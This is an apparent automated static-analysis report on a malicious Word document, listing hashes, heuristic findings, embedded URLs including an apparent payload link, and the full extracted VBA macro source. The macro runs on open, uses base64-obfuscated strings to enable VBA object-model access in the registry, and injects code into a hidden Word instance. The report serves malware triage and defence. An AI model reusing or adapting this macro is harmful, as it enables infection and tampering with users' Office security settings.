Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fc8749105f5dc183…

MALICIOUS

Office (OOXML)

100.8 KB Created: 2021-04-28 05:02:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: 536c3aedc949c50ec2586a0ade985968 SHA-1: 59a421440988568e885db533248d5f1462f48761 SHA-256: fc8749105f5dc18330b97537c2393710fceb3640199352c1afafd03738c5ff99
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    viewVariableConvert.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString referenceFunc
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set swapPasteQuery = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://2000-duncan-stock.com/bijol/59366/mkH0NYI3UvTM3mko3xCCguQFwbBgb60C5cCszXyZukpX/gytkIvJoR2NXiR0t7dcWUMJOLOr2i0G7zAh1chA/irBnlcJCGHyAZg/uMDyVyjfo In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2968 bytes
SHA-256: 1864547e02d7675d57f2e2c89914ebbe521f8321c9e81800c383f5469660a34f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{3FD354A9-C36B-46DA-9040-2057817B1A3D}{42180753-426A-4FA3-86B2-1DEF828E2D8B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "rightClass"
Sub autoopen()
iteratorPasteVariable
Dim listViewPaste As String
listViewPaste = varCounter
varCollectionScreen listViewPaste
End Sub

Attribute VB_Name = "collectionMainSize"
Function tempReferenceData(copyVar As String) As Variant
Dim swapPasteQuery As Object
Dim memNamespaceValue As Object
Set swapPasteQuery = CreateObject("msxml2.domdocument")
Set memNamespaceValue = swapPasteQuery.createElement("code")
memNamespaceValue.DataType = "bin.base64"
memNamespaceValue.Text = copyVar
tempReferenceData = memNamespaceValue.nodeTypedValue
End Function
Function loadSelectNamespace(responseConst, arrayIndex)
loadSelectNamespace = StrConv(responseConst, arrayIndex)
End Function

Attribute VB_Name = "memVb"
Sub varCollectionScreen(referenceFunc As String)
Set constPointer = CreateObject("word.application")
Set viewVariableConvert = constPointer.Documents.Add
viewVariableConvert.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString referenceFunc
constPointer.Visible = False
constPointer.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "buttonBorder"
Function tmpVariableGeneric() As String
tmpVariableGeneric = Application.Version
End Function
Function sizePasteNamespace()
sizePasteNamespace = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function lenCounterSwap()
lenCounterSwap = "cript.sh"
End Function
Function valueCaption()
valueCaption = "VjdXJpdHlcQWN"
End Function
Sub iteratorPasteVariable()
arrayPaste = loadSelectNamespace(tempReferenceData("SEtFWV9DVVJSR" & sizePasteNamespace & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
namespaceStorage = tmpVariableGeneric
leftExceptionSelect = loadSelectNamespace(tempReferenceData("XFdvcmRcU2" & valueCaption & "jZXNzVkJPTQ=="), vbUnicode)
textCountNext = arrayPaste & namespaceStorage & leftExceptionSelect
With CreateObject("ws" & lenCounterSwap & "ell")
.RegWrite textCountNext, 1, "REG_DWORD"
End With
End Sub
Public Function refPaste(ByVal procedurePointer As String) As String
For refCaption = 1 To Len(procedurePointer) Step 2
titleClearRepo = Chr$(Val("&H" & Mid$(procedurePointer, refCaption, 2)))
swapListbox = swapListbox & titleClearRepo
Next refCaption
refPaste = swapListbox
End Function
Function varCounter()
varCounter = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: d7471c3a1d7a2fa676358fbe522c42062e893f1ae4b35d3b2886303218ec010e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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